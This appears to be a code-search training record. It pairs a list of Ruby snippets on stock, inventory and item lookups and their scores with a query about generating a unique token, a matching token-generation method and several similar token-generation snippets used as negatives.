"def price_at(date)\n found_stock = @stocks.select { |stock| stock.date == date }.first\n return nil if found_stock.nil?\n found_stock.opening unless found_stock.opening.nil?\n found_stock.closing if found_stock.opening.nil?\n end",
"def get_stock(stock_ticker)\n stock = StockQuote::Stock.quote(stock_ticker)\n return stock\nend",
"def best_supplier\n self.suppliers.joins(:stock_locations => :stock_items).\n where('spree_stock_items.variant_id = spree_supplier_variants.variant_id').\n where('spree_stock_items.count_on_hand > 0').\n order('spree_supplier_variants.cost').first\n end",
"def create_stock_item\n\n added_new_stock_item = false\n # Get stock location for appropriate location\n @product_row[:location].split(',').each do |sub_location|\n sub_location.chomp!\n stock_location = case sub_location.to_s.downcase\n when /george/\n @@loc_attic\n # NFS no matter what - JC10 OR buffalo display case OR back shop\n when /jc\\d{1,2}|buffalo|back\\sshop|attic/\n @@loc_home_nfs\n # NFS if listed as not for sale (don't count in quantity)\n when /w\\d{1,2}/\n (@product_row[:available] && @product_row[:available].downcase == \"n\") ? @@loc_home_nfs : @@loc_home\n when /[[:alpha:]]\\d{2,3}|D\\d{3}\\.\\d|h\\d|file\\scabinet|suite\\s2/\n (@product_row[:available] && @product_row[:available].downcase == \"n\") ? @@loc_suite2_nfs : @@loc_suite2\n # NWC08\n when /nw[[:alpha:]]\\d{1,2}|ste3/\n @@loc_suite3\n # Warehouse\n when /warehouse/\n @@loc_warehouse\n # West trailer OR east racks\n when /east\\sracks|west\\strailer/\n @@loc_east_racks\n else # if unidentifiable location\n @errors << { :part_number => @product_row[:name], :condition => @product_row[:condition], :message => \"Cannot identify location \" + sub_location }\n next # skip to next location\n end\n\n # if no exisiting sub location, add one\n if(@new_product_condition.add_sub_location(sub_location, stock_location))\n added_new_stock_item = true\n end\n\n end # end location loop\n\n added_new_stock_item # return true if at least one new stock item added\n\n end",
"def load_item_by_lot_code(order_item, stock_items)\n item = stock_items.find { |item| order_item.lot_code == item.code }\n\n # If the order item has a serial number, try lot code part only.\n if item.nil? && order_item.lot_code['-']\n lot_code_part = order_item.lot_code.split('-').first\n item = stock_items.find { |item| lot_code_part == item.code }\n end\n\n # If a match was found, load the item and return. If a partial\n # match set a lot code part above, use that, or provide nil\n # to use the code on the order item.\n if item.present?\n item.reserved += order_item.amount\n return create_item_from(order_item, lot_code_part, item.expires_at)\n end\n\n false # Failed to load the item.\n end",
"def stock_locations_with_available_stock_items(variant)\n stock_locations.select { |sl| sl.available?(variant) }\n end",
"def stock_of(commodity)\n @stock[commodity_id(commodity)]\n end",
"def get_price_locally(symbol)\n symbol_and_prices = get_portfolio_symbols_and_prices\n symbol_and_prices.each do |symbol_and_price_object|\n symbol_and_price_object.each do |symbolmatch, price|\n if symbol === symbolmatch\n return price\n end\n end\n end\n end",
"def get_from_product_stock(product_id, quantity_to_add)\n product = Product.find_by(id: product_id)\n if (product.stock >= quantity_to_add)\n product.stock -= quantity_to_add\n self.quantity += quantity_to_add\n\n if self.valid? && product.valid?\n self.save\n product.save\n return self\n end\n end\n end",
"def find(code)\n @stock[code.to_sym]\n end",
"def first_location\n\t\t@first_location ||= sorted_locations.first\n\tend",
"def return_stock\n skus = Hash[sku_items.map {|i| [i.sku_id, i.quantity]}]\n Sku.return_stock!(skus)\n end",
"def getStock(symbol)\n\n return StockQuote::Stock.batch([\"quote\",\"logo\"],symbol)\n\n end",
"def cheapest_restaurant\n cheapest_price = menu_items.map {|item| item.price}.min\n restaurants.find do |restaurant| \n restaurant.menu_items.find {|item| item.price == cheapest_price}\n end\n end",
"def available_stock\n @available_stock ||= current_stock - stocks.sum('quantity')\n end",
"def ideal_stock_of(commodity)\n @ideal_stock[commodity_id(commodity)]\n end",
"def load_item_from_stock(order_item, stock_items)\n amount = order_item.waiting\n stock_items.each do |item|\n all = item.available\n next if all <= 0\n\n if amount <= all\n # This inventory item satisfies the amount, we're done.\n item.reserved += amount\n return create_item_from(order_item, item.code, item.expires_at, amount)\n else\n # Load all of this item and continue with the remaining amount.\n item.reserved += all\n create_item_from(order_item, item.code, item.expires_at, all)\n amount -= all\n end\n end\n end",
"def find_item(variant, state = :on_hand, line_item = nil)\n contents.select do |item|\n item.variant == variant &&\n item.state == state &&\n (line_item.nil? || line_item == item.line_item)\n end.first\n end",
"def localized_price\n grocery_store = grocery.grocery_store\n groceries_items = GroceriesItems.where(item: item).where.not(price_cents: 0)\n\n if grocery_store # First try and calculate the price based on store proximity\n stores = GroceryStore.by_distance(origin: [grocery_store.lat.to_f, grocery_store.lng.to_f]).limit(10)\n\n stores.each do |store|\n store_groceries_items = groceries_items.where(grocery: store.groceries)\n return most_common_price(store_groceries_items) if store_groceries_items.length.nonzero?\n end\n end\n\n # If it was not in any nearby stores, then fall back on the overall most common price\n most_common_price(groceries_items)\n end",
"def product_stock(amount, fuzzy = false)\n fuzzy ? fuzzy_amount(amount) : amount\n end",
"def stockname\n return stock_array[0]\n end",
"def getStock(symbol)\n\n return StockQuote::Stock.batch([\"quote\",\"logo\"],symbol)\n\n end",
"def get_best_warehouse(order)\n results = Array.new(@warehouses.count).fill(0)\n\n @warehouses.each_with_index do |warehouse, index|\n warehouse_products = warehouse.products.clone\n order.products.each do |product|\n if warehouse_products[product] > 0\n results[index] += 1 #@products[product]\n warehouse_products[product] -= 1\n end\n end\n end\n\n best_warehouse = nil\n best_distance = nil\n @warehouses.each do |warehouse|\n next if results[warehouse.index] != results.max\n distance = order.get_distance(warehouse)\n if best_distance.nil? || distance < best_distance\n best_distance = distance\n best_warehouse = warehouse\n end\n end\n\n best_warehouse\n end",
"def get_info_by_book_title(searched_title)\n if searched_title == @title\n return @inventory[0]\n else\n return nil\n end\n end",
"def find_drink_by_name(drink_name)\n return @drinks_stock.find { |drink| drink.name == drink_name }\n end",
"def get_stock_asset_type\n if (@stock_item_after.stock_type_code.to_s.upcase == \"BINS\"||@stock_item_after.stock_type_code.to_s.upcase == \"BIN\"||@stock_item_after.stock_type_code.to_s.upcase == \"REBIN\"||@stock_item_after.stock_type_code.to_s.upcase == \"PRESORT\")\n inventory_record = Bin.find_by_bin_number(@stock_item_after.inventory_reference)\n else\n return nil\n end\n pack_material_product_code = PackMaterialProduct.find(inventory_record.pack_material_product_id).pack_material_product_code\n asset_type = AssetType.find_by_pack_material_product_code(pack_material_product_code)\n return asset_type\n end",
"def get_current_stock_price(stock_symbol_name)\n quote_type = YahooFinance::StandardQuote\n quote_symbol = stock_symbol_name\n YahooFinance::get_quotes(quote_type,quote_symbol) do |qt|\n @current_stock_price = qt.lastTrade\n return @current_stock_price\n end\n end",
"def load_item_from_infinite_stock(order_item)\n create_item_from(order_item, order_item.order.number)\n true\n end",
"def on_hand_by_stock_location_id\n counts_on_hand.to_a.group_by do |(_, stock_location_id), _|\n stock_location_id\n end.transform_values do |values|\n Spree::StockQuantities.new(\n values.map do |(variant_id, _), count|\n variant = @variant_map[variant_id]\n count = Float::INFINITY if !variant.should_track_inventory?\n count = 0 if count < 0\n [variant, count]\n end.to_h\n )\n end\n end",
"def lower_item\n # return nil unless in_list?\n # acts_as_list_class.find(:first, :conditions => \"#{scope_condition} AND #{position_column} > #{send(position_column).to_s}\", :order => \"#{position_column} ASC\")\n acts_as_list_class.with_acts_as_list_scope(scope_condition) do\n where(\"#{position_column} = #{(send(position_column).to_i + 1).to_s}\").first\n end \n end",
"def source_item\n source.item_by_product_and_code(product, lot_code)\n end",
"def location_of_bay(bay)\n location = WAREHOUSE.select{ |item| item[:product_name] == bay }\n return location[0][:rack_bay_position]\nend",
"def lower_item\n return nil unless in_list?\n\n conditions = scope_condition.merge!(greater_than_me)\n order_by_position(conditions).first\n end",
"def location_of(item)\r\n return @pack if @pack.has?(item)\r\n @rooms.each { |id, r|\r\n return r if r.has?(item)\r\n }\r\n return nil\r\n end",
"def location\n ln = location_name\n return nil if ln == \"\" || ln == nil\n @engine.item_by_name(location_name)\n end",
"def find(symbol)\n response = Request.new(\"/stock/#{symbol}/quote\").get\n Models::Quote.new(response.body)\n end",
"def set_core_stock_product\n @core_stock_product = Core::StockProduct.where(stock_id: params[:stock_id], id: params[:id]).first\n redirect_to(action: \"index\") and return if @core_stock_product.blank?\n end",
"def best_supplier_price\n self.supplier_variants.joins(:supplier => {:stock_locations => :stock_items}).\n where('spree_stock_items.variant_id = spree_supplier_variants.variant_id').\n where('spree_stock_items.count_on_hand > 0').\n minimum(:cost)\n end",
"def lower_item\n return nil unless in_list?\n\n conditions = scope_condition.merge!( greater_than_me )\n order_by_position(conditions).first\n end",
"def lower_item\n return nil unless in_list?\n lower_items(1).first\n end",
"def merger_stock(dominant_hotel, acquired_hotel, acquired_hotel_size)\n find_shareholders(acquired_hotel, acquired_hotel_size)\n end",
"def first(search_order = MDS::PREFERRED_INTERFACE_ORDER)\r\n c = search_order.map do |name|\r\n begin\r\n name.split('::').inject(Kernel) do |scope, const_name| \r\n scope.const_get(const_name)\r\n end\r\n rescue NameError\r\n nil\r\n end\r\n end.compact!\r\n \r\n (!c || c.length == 0) ? @available.first : c.first\r\n end",
"def get_item_at(position)\n # TODO Stubbed - Required definition and implementation\n end",
"def get_item_at(position)\n # TODO Stubbed - Required definition and implementation\n end",
"def lower_item\n return nil unless in_list?\n acts_as_list_class.find(:first, :conditions =>\n \"position = #{(send(:position).to_i + 1).to_s}\"\n )\n end",
"def find_field_by_name(field_name)\n product_field_id = self.product_fields.find_by(name: field_name).id\n stock_field = self.stock_fields.select do |stock_field|\n stock_field.product_field_id == product_field_id\n end.first\n end",
"def product_market_place_stock(product)\n mp_stock={}\n market_places = product.market_places.where(\"spree_market_places.id IN (?)\", product.seller.seller_market_places.where(:is_active=>true).map(&:market_place_id))\n market_places.each do |mp|\n stock = 0\n variants = product.variants.present? ? product.variants : Spree::Variant.where(\"Product_id=?\", product.id)\n if variants.present?\n variants.each do |variant|\n begin\n v_stock_products = Spree::StockProduct.includes(:sellers_market_places_product).where(\"spree_sellers_market_places_products.market_place_id=? AND spree_sellers_market_places_products.product_id=? AND spree_stock_products.variant_id=?\", mp.id, variant.product.id, variant.id)\n stock = stock + v_stock_products.sum(&:count_on_hand)\n rescue\n end\n end\n end\n mp_stock = mp_stock.merge(mp.name=>stock)\n break if (STOCKCONFIG[product.stock_config_type] == \"flat_quantity\") || (STOCKCONFIG[product.stock_config_type] == \"default\" && STOCKCONFIG[product.seller.stock_config_type] == \"flat_quantity\")\n end if product.present? && market_places.present?\n return mp_stock\n end",
"def get_minimum_price(product)\n if product.has_variants?\n product.variants.map(&:price).sort.first\n else\n product.price \n end\n end",
"def ranked_item_position(ranked_object)\n self.values.find_by_ranked_object_id(ranked_object).try(:position)\n end",
"def item_stocking?(item)\n item_stocking_items.include?(item)\n end",
"def at(position)\n self.class.base_class.where(\"#{scoped_position} = ?\", position).limit(1).first\n end",
"def location\n @location ||= locations.hq.first\n end",
"def best_promoted_item(group)\n active_promoted_items(group)\n .where.not(price_cents: nil)\n .order(:price_cents)\n .first\n end",
"def higher_item\n # return nil unless in_list? # http://github.com/brightspark3/acts_as_list/commit/8e55352aaa437d23a1ebdeabd5276c6dd5aad6a1\n \n # acts_as_list_class.find(:first, :conditions =>\n # \"#{scope_condition} AND #{position_column} < #{send(position_column).to_s}\", :order => \"#{position_column} DESC\"\n # ) \n acts_as_list_class.with_acts_as_list_scope(scope_condition) do\n where(\"#{position_column} = #{(send(position_column).to_i - 1).to_s}\").first\n end \n end",
"def return_stock!(from_status, new_status)\n update_from_to_status!(from_status, new_status, noop: true) do\n order_items.each(&:return_items!)\n end\n end",
"def find(drink, size)\n return @current.find{|x| x.name == drink && x.price[size]}\n end",
"def product_in_stock?(product)\n p = Product.find_by_name(product.to_s)\n return nil unless p\n coupons = Coupon.find_all_by_product_id_and_account_id_and_used(p.id, nil, 'N', :limit => 1) \n return nil unless coupons\n return nil if coupons.length == 0 \n return coupons[0]\n end",
"def find_random_item(sample:, object_type:)\n raise ItemActionError, 'Sample is nil' unless sample.present?\n\n raise ItemActionError, 'Object type is nil' unless object_type.present?\n\n ot = object_type.is_a?(ObjectType) ? object_type : ObjectType.find_by_name(object_type)\n\n unless ot.is_a? ObjectType\n raise ItemActionError, \"Object Type is Nil #{object_type}\"\n end\n\n ite = Item.where(sample_id: sample.id,\n object_type: ot).last\n\n return ite if ite.present?\n\n raise ItemActionError, \"Item Not found sample: #{sample.id}, ot: #{ot.name}\"\n end",
"def location\n @location_cache || self.locations[0]\n end",
"def hot_priority\n return self.priority_types.find(:first,:conditions=>[\"original_id = ? \",1])\n end",
"def stockname\n \"#{CSV.parse_line(YahooStock.find_by_symbol(symbol).parsed_response)[0]}\"\n end",
"def find_by_symbol(symbol)\n fetch([name, symbol.to_s]) do\n where(symbol: symbol).first\n end\n end",
"def best_item(bib_id)\n return [] unless holdings_exist_for? bib_id\n\n ITEM_TIERS.each do |criteria|\n match = holdings_data(bib_id).copies.find(&criteria)\n return match if match\n end\n end",
"def shared_installer_item_location(unit = nil, reload = false)\n unit_id = unit.present? ? unit.id : 0\n @shared_installer_item_location_packages ||= []\n if @shared_installer_item_location_packages[unit_id].blank? or reload\n package_scope = Package.other(self)\n package_scope = package_scope.where(:installer_item_location => self.installer_item_location)\n package_scope = package_scope.where(:unit_id => unit.id) if unit.present?\n @shared_installer_item_location_packages[unit_id] = package_scope.to_a\n end\n @shared_installer_item_location_packages[unit_id]\n end",
"def stock\n self.stock_level_adjustments.sum(:adjustment)\n end",
"def least_favorite_recipe\n recipes_sorted_by_rating[0]\n end",
"def stock_picker (stocks)\n result = []\n diff = 0\n\n stocks[0..-2].each do |stock|\n stocks[stocks.index(stock)..-1].each do |s|\n if (stock - s < diff)\n diff = stock - s\n result[0] = stocks.index(stock)\n result[1] = stocks.index(s)\n end\n end\n end\n return result\nend",
"def stock_adjustment\n if Store.positive?(self.adjustment)\n self.stock_total = self.sku.stock_adjustments.first.stock_total + self.adjustment\n self.sku.update_column(:stock, self.sku.stock + self.adjustment)\n else\n self.stock_total = self.sku.stock_adjustments.first.stock_total - self.adjustment.abs\n self.sku.update_column(:stock, self.sku.stock - self.adjustment.abs)\n end\n end",
"def get_by_location(location)\n raise \"Cannot do a look-up with a blank location!\" if location.blank?\n self.categories.select { |category| category.location == instance2cat(location) }.first\n end",
"def fetch_from_inventory(an_order)\n order = extract_code_qty(an_order)\n return Inventory.fetch_an_item(order[:code])\n end",
"def cheapest(products)\n products.min_by do |product|\n product[:price]\n end\nend",
"def gather_item\n local_item = FoodItem.fetch_local_item @item_id\n return local_item unless local_item.nil?\n\n item_id = @item_id.split('-')\n remote_item = fetch_remote_item item_id[0], item_id[1]\n remote_item = FoodItem.new_item remote_item\n\n return remote_item unless remote_item.nil?\n\n nil # fallback\n end",
"def item_at_bay(bay_index)\n for entries in ITEMS\n if entries[:bay] == bay_index\n return entries[:item]\n else\n return \"No such location\"\n end\n end\nend",
"def find_matching_line_item(other_order_line_item)\n order.line_items.detect do |my_li|\n my_li.variant == other_order_line_item.variant &&\n order.line_item_comparison_hooks.all? do |hook|\n order.send(hook, my_li, other_order_line_item.serializable_hash)\n end\n end\n end",
"def cheapest_price\n # CARYN SAYS: this should be cheapest restaurant! \n Recipe.all.min { |recipe_a, recipe_b| recipe_a.average_price <=> recipe_b.average_price }\n end",
"def best_offer_minimum_accept_price\n return nil unless best_offer?\n item_hash.deep_find([:listing_details, :minimum_best_offer_price])\n end",
"def max_price\n if @stocks.first.opening.nil?\n @stocks.map(&:closing).max\n else\n @stocks.map(&:opening).max\n end\n end",
"def first\n @locations.first\n end",
"def get_item name\n if (@listOfItem)\n @listOfItem.select do |item|\n item.product.name == name\n end.first\n else\n puts \"@listOfItem is null, so can't get an item from this\"\n end\n end",
"def getStockData(stock)\n stock = stock.upcase\n if !@stocks.include?(stock) # Checks if stock exists\n puts \"Invalid stock entered\"\n return\n end\n @data.each do |key, value|\n if key.to_s == stock.to_s # If match is found for that stock\n puts \"Stock data for #{stock}:\"\n value.each_with_index do |curr, i|\n weekData = {}\n weekData[:date] = curr[:date]\n weekData[:price] = curr[:close]\n puts \"#{weekData[:date]} - #{weekData[:price]}\"\n end\n break\n end\n end\n end",
"def changeItemSupplier(itemId)\n locationItem = Item.where(id: itemId)\n previousSupplierItem = Location.where(id:locationItem.lastSupplier).first.items.where(name:locationItem.name).first\n if(locationItem != previousSupplierItem)\n if(previousSupplierItem.amount > (locationItem.restockTo - locationItem.amount))\n previousSupplierItem.increment!(:amount, -(locationItem.restockTo - locationItem.amount))\n # PRETEND CASH ISN\"T A THING YET\n # locationItem.location.company.increment!(:cash, -previousSupplierItem.price * (locationItem.restockTo - locationItem.amount))\n locationItem.update(amount: locationItem.restockTo)\n else\n locationItem.increment!(:amount, previousSupplierItem.amount)\n # PRETEND CASH ISN\"T A THING YET\n # locationItem.location.company.increment!(:cash, -previousSupplierItem.price * previousSupplierItem.amount)\n previousSupplierItem.amount = 0\n end\n if(previousSupplierItem.amount <= previousSupplierItem.restockPoint)\n changeItemSupplier(previousSupplierItem.id)\n end\n end\n end",
"def order\n return nil if return_items.blank?\n return_items.first.inventory_unit.order\n end",
"def first_sell_order(sell_orders, official_spread)\n # sell_orders[0] is the queue for limit orders\n # sell_orders[1] is the queue for market orders\n return sell_orders[1], sell_orders[1].first if sell_orders[0].empty?\n \n limit_order = sell_orders[0].first\n if limit_order.limit_price > official_spread[0] \n return sell_orders[1], sell_orders[1].first unless sell_orders[1].empty?\n end\n return sell_orders[0], limit_order\n end",
"def first_matching_tag\n r = Registry.get\n return unless r\n\n RegistryEvent.all.find_each do |event|\n data = JSON.parse(event.data)\n _, _, tag_name = r.get_namespace_from_event(data)\n return event.dup if tag_name == @tag\n end\n\n nil\n end",
"def find_ancestor_local_symbol symbol\n each_ancestor do |m|\n res = m.find_local_symbol(symbol)\n return res if res\n end\n\n nil\n end",
"def get_stocks\n @stocks = Stock.where(user_id: session[:current_user_id]).order(\"ticker_symbol ASC\")\n end",
"def item_find\n find(playlist_url(@response.old_index))\n end",
"def find_min_priority\n loc = find_min_locator and [loc.value, loc.priority]\n end",
"def find(item_name)\n @inventory.find(item_name)\n end",
"def get_ROI\n require 'yahoo_stock'\n\n stocks = []\n qtys = []\n for purchase in PurchasedStock.for_user_game(self.id)\n stocks += [purchase.stock_code]\n qtys += [purchase.total_qty]\n end\n\n values = [0] * stocks.length\n for i in (0..stocks.length-1)\n yesterday_price = (YahooStock::History.new(:stock_symbol => stocks[i], :start_date => Date.today-1, :end_date => Date.today-1)).results(:to_array).output[0][4].to_f\n values[i] = yesterday_price\n end\n\n qtys_and_values = [0] * stocks.length\n for i in (0..stocks.length-1)\n qtys_and_values[i] = [qtys[i] * values[i]]\n end\n total_value = 0\n for price in qtys_and_values\n total_value += price[0]\n end\n return (self.total_value_in_stocks-(total_value * 100))/(total_value * 100)\n end",
"def brother\n Item.where(name: self.name, level: self.level, parent_id: self.parent_id, s_type: self.s_type, has_value: !self.has_value).first\n # brothers = Item.where(name: self.name, level: self.level, parent_id: self.parent_id, s_type: self.s_type, has_value: !self.has_value)\n # raise 'There should be only one brother' if brother.size > 1\n # return brothers.first\n end",
"def find_min\n loc = find_min_locator and loc.value\n end",
"def search_for_product(overstock_id)\n driver.fill_in('keywords', with: overstock_id)\n driver.first('.os-icon-magnify').click\n end"
] |
[
"0.62543505",
"0.614009",
"0.5910705",
"0.5881634",
"0.5777033",
"0.5772522",
"0.5648893",
"0.56396985",
"0.5593023",
"0.555641",
"0.5554408",
"0.5550677",
"0.5539887",
"0.5474278",
"0.5446111",
"0.5444322",
"0.5389466",
"0.52754205",
"0.5259013",
"0.52447337",
"0.52430665",
"0.5236497",
"0.5201711",
"0.51753056",
"0.5171193",
"0.5168355",
"0.5167826",
"0.5154176",
"0.5153162",
"0.51468176",
"0.5145979",
"0.5122501",
"0.5101654",
"0.50927883",
"0.5088789",
"0.50790787",
"0.5062555",
"0.50586796",
"0.5049663",
"0.5047354",
"0.50447613",
"0.5030367",
"0.501667",
"0.5016128",
"0.49996018",
"0.4990677",
"0.49848685",
"0.49799532",
"0.4966323",
"0.496436",
"0.4964192",
"0.4950539",
"0.4933766",
"0.4933269",
"0.49330178",
"0.49260056",
"0.49237996",
"0.49155885",
"0.49099842",
"0.49087092",
"0.4905993",
"0.48984435",
"0.48939708",
"0.48934767",
"0.489146",
"0.48870355",
"0.48831192",
"0.48810837",
"0.48685592",
"0.4849788",
"0.48354608",
"0.48263127",
"0.48238117",
"0.48217094",
"0.4814441",
"0.48097697",
"0.4806516",
"0.48058134",
"0.48004267",
"0.4788611",
"0.47860608",
"0.477757",
"0.47715673",
"0.4765893",
"0.47620115",
"0.47583014",
"0.47523978",
"0.47482127",
"0.47434434",
"0.47280335",
"0.47278517",
"0.47264975",
"0.47137442",
"0.47110406",
"0.47094196",
"0.47093725",
"0.4704916",
"0.47031268",
"0.46941745",
"0.46927714"
] |
0.6792954
|
0
|
Generate a token by looping and ensuring it does not already exist.
|
def generate_token
loop do
token = SecureRandom.base64(44).tr("+/=", "xyz").first(16).upcase
break token unless self.class.where(:token => token).first
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_token\n self.token ||= loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless self.class.exists?(token: random_token)\n end\n end",
"def create_token\n if self.token.nil?\n self.token = loop do\n random_token = \"BON-#{SecureRandom.uuid.split('-').first}\"\n break random_token unless self.class.exists?(token: random_token)\n end\n end\n end",
"def generate_token\n self.token = loop do\n random_token = SecureRandom.base58(UID_LENGTH)\n break random_token unless Session.exists?(token: random_token)\n end\n end",
"def generate_token\n self.token = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless Organization.exists?(token: random_token)\n end\n end",
"def generate_token\n # Repeat method until unique token is found\n self.token = loop do\n random_token = (Digest::MD5.hexdigest \"#{SecureRandom.hex(10)}-#{DateTime.now.to_s}\")[1..16]\n break random_token unless Bar.where(token: random_token).exists?\n end\n end",
"def generate_token\n loop do\n new_token = Digest::SHA1.hexdigest([Time.now, rand].join).first(35)\n break self.token = new_token unless InvitationLink.where(:token => new_token).exists?\n end\n end",
"def generate_token\n unless self.token\n self.token = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless User.exists?(token: random_token)\n end\n self.save\n end\n end",
"def generate_token\n begin\n self.token = Digest::SHA1.hexdigest([Time.now, rand].join)\n end while Invitation.exists?(:token => self.token)\n end",
"def generate_token\n loop do\n self.token = SecureRandom.hex(64)\n break if Follower.where(token: token).empty?\n end\n end",
"def generate_token\n self.token = UniqueToken.generate\n end",
"def generate_auth_token\n loop do \n token = SecureRandom.hex\n break token unless self.class.exists?(auth_token: token)\n end\n end",
"def assign_unique_token\n unless(self.token)\n begin\n self.token = rand(36**8).to_s(36).downcase # a-z \n end while self.class.exists?(:token => token)\n end\n end",
"def generate_token\n\t\tself.token = loop do\n\t\t\trandom_token = SecureRandom.urlsafe_base64(nil, false)\n\t\t\tbreak random_token unless Invite.exists?(token: random_token)\n\t\tend\n\tend",
"def generate_tokens\n self.token = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless User.exists?(token: random_token)\n end\n self.owner_token = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless User.exists?(owner_token: random_token)\n end\n end",
"def generate_token\n self.token = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless FeedbackRequest.exists?(token: random_token)\n end\n end",
"def generate_access_token\n begin\n self.token = SecureRandom.hex\n end while self.class.exists?(token: token)\n end",
"def generate_access_token\n begin\n self.token = SecureRandom.hex\n end while self.class.exists?(token: token)\n end",
"def generate_auth_token\n begin\n token = SecureRandom.hex\n end while AuthToken.exists?(auth_token: token)\n self.auth_tokens.create(auth_token: token)\n token\n end",
"def generate_token\n if self.token.blank?\n self.id = self.token = UniqueToken.generate\n end\n end",
"def generate_token\n loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless self.class.exists?(invite_code: random_token)\n end\n end",
"def create_token\n begin\n token = random_token\n end while repository[token] && repository[token] > Time.now - 172800\n repository[token] = Time.now\n token\n end",
"def generate_authentication_token!\n begin\n self.auth_token = SecureRandom.hex(20)\n end while self.class.exists?(auth_token: auth_token)\n end",
"def generate_auth_token!\n loop do\n @token = Devise.friendly_token\n break unless Token.find_by(token: @token)\n end\n self.tokens.create token: @token\n return @token\n end",
"def generate_auth_token\n \tbegin\n \t\tself.auth_token = User.new_token\n \tend while self.class.exists?(auth_token: auth_token)\n end",
"def generate_token\n begin\n self[:auth_token] = SecureRandom.urlsafe_base64\n end while User.exists?(:auth_token => self[:auth_token])\n end",
"def gen_token()\n used_tokens = []\n @data.records.each() { |r| used_tokens << r.token }\n\n free_tokens = @data.tokens - used_tokens\n\n srand\n free_tokens[rand(free_tokens.length)]\n end",
"def private_generate_token\n begin\n #self.access_id = SecureRandom.base64(40)\n\t self.access_id = SecureRandom.hex(40)\n end while self.class.exists?(access_id: access_id)\n end",
"def generate_hash_token\n\t\t\tbegin\n\t\t\t\tself.hash_token = (0...5).map { (65 + rand(26)).chr }.join\n\t\t\tend while self.class.exists?(hash_token: hash_token)\n\t\tend",
"def generate_unique_authentication_token\n loop do\n token = SecureRandom.hex[0..6]\n if !User.where(authentication_token: token).exists? && !EmailAuthenticationToken.where(authentication_token: token).exists?\n break token\n end\n end\n end",
"def generate_api_token!\n loop do\n generated_api_token = Devise.method(:friendly_token).call\n raise ApiTokenLengthError if generated_api_token.empty?\n self.api_token = generated_api_token\n break unless self.class.exists?(api_token: api_token)\n end\n end",
"def generate_token\n self.token = custom_token.presence || SecureRandom.hex(3)\n self.custom_token = nil\n generate_token if AliasedLink.exists?(token: token)\n end",
"def populate_token\n if new_record? && self.token.nil?\n self.token = SecureRandom.uuid().to_s.last(8)\n while check_token?(self.token) == true\n self.token = SecureRandom.uuid().to_s.last(8)\n end\n end\n end",
"def generate_authentication_token\n loop do\n token = generate_secure_token_string\n break token unless User.where(:authentication_token=>token).first\n end\n end",
"def generate_token\n #Token.generate_token(self.id)\n end",
"def generate_token\n begin\n token = Other::TokenGenerator.call(25).value_or('')\n end until !User.where(token: token).nil?\n self.bf_api_token = token\n end",
"def generate_utoken\n self.utoken = loop do\n random_token = SecureRandom.base58(UTOKEN_LENGTH)\n break random_token unless Session.exists?(utoken: random_token)\n end\n end",
"def create_key\n self.key = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless Api.exists?(key: random_token)\n end\n end",
"def generate_api_token\n token = nil\n loop do\n token = Devise.friendly_token\n break token unless ApiToken.where(token: token).first\n end\n ApiToken.create({\n token: token,\n user_id: self.id\n })\n end",
"def generate_access_token\n begin\n self.access_token = User.new_token\n end while ApiKey.exists?(access_token: access_token)\n end",
"def generate_key(store)\n store.token = loop do\n random_token = SecureRandom.urlsafe_base64(nil, false)\n break random_token unless Store.exists?(token: random_token)\n end\n end",
"def token\n return self[:token] if self[:token] # <- Will not generate a token more than once.\n begin\n byte_string = [self.user_id, rand(2**32)].pack('L*') << rand(256)\n self[:token] = Base64.urlsafe_encode64(byte_string)\n end while UserAuthToken.exists?(token: self[:token])\n end",
"def generate_authentication_token\n\t\tloop do\n\t\t\ttoken = SecureRandom.base64.tr('+/=', 'Qrt')\n\t\t\tbreak token unless User.exists?(authentication_token: token)\n\t\tend\n\tend",
"def generate_token(size)\n validity = Proc.new {|token| Token.where(:token => token).first.nil?}\n\n begin\n token = SecureRandom.hex(size)[0, size]\n token = token.encode(\"UTF-8\")\n end while validity[token] == false\n\n token\n end",
"def make_token\n secure_digest(Time.now, (1..10).map{ rand.to_s })\n end",
"def generate_token\n self.token = Digest::SHA1.hexdigest([self.workplace_id, self.institute.id, Time.now, rand].join)\n end",
"def generate_access_token\n begin\n self.access_token = SecureRandom.hex\n end while self.class.exists?(access_token: access_token)\n end",
"def generate_access_token\n begin\n self.access_token = SecureRandom.hex\n end while self.class.exists?(access_token: access_token)\n end",
"def generate_access_token\n begin\n self.access_token = SecureRandom.hex\n end while self.class.exists?(access_token: access_token)\n end",
"def generate_access_token\n begin\n self.access_token = SecureRandom.hex\n end while self.class.exists?(access_token: access_token)\n end",
"def generate_token\n self.perishable_token = Digest::MD5.hexdigest(\"#{Time.now}\")\n end",
"def generate_token\n token_gen = SecureRandom.hex\n self.token = token_gen\n token_gen\n end",
"def generate_token\n o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten\n token = (0...50).map { o[rand(o.length)] }.join\n return token\n end",
"def token_generate\n res = call('auth.token_generate')\n\n return unless res || res['token']\n\n res['token']\n end",
"def generate_auth_token!\n begin\n self.auth_token = Devise.friendly_token\n end while self.class.exists?(auth_token: auth_token)\n end",
"def token\n begin\n self.token = SecureRandom.hex\n end while self.class.exists?(token: auth_token)\n end",
"def create_unique_id\n\t\tself.unique_id = loop do\n\t\t\trandom_token = SecureRandom.urlsafe_base64\n\t\t\tbreak random_token unless User.exists?(unique_id: random_token)\n\t\tend\n\tend",
"def generate_registration_token\n candidate_token = nil\n\n while candidate_token.nil?\n candidate_token = SecureRandom.hex(3).upcase\n candidate_token = nil unless Device.find_by(registration_token: candidate_token).nil?\n end\n\n self.registration_token = candidate_token\n end",
"def generate_auth_token!\n \tbegin\n \t\tself.auth_token = Devise.friendly_token\n \tend while User.exists?(auth_token: auth_token)\n\tend",
"def unique_token\n token = random_string\n loop do\n break unless Coupon.match_token?(token)\n token = random_string\n end\n token\n end",
"def generate_token!\n self.token = SecureRandom.hex\n save!\n end",
"def generate_account_number_token\n loop do\n token = SecureRandom.hex(3).upcase\n break token unless User.find_by(account_number: token)\n end\n end",
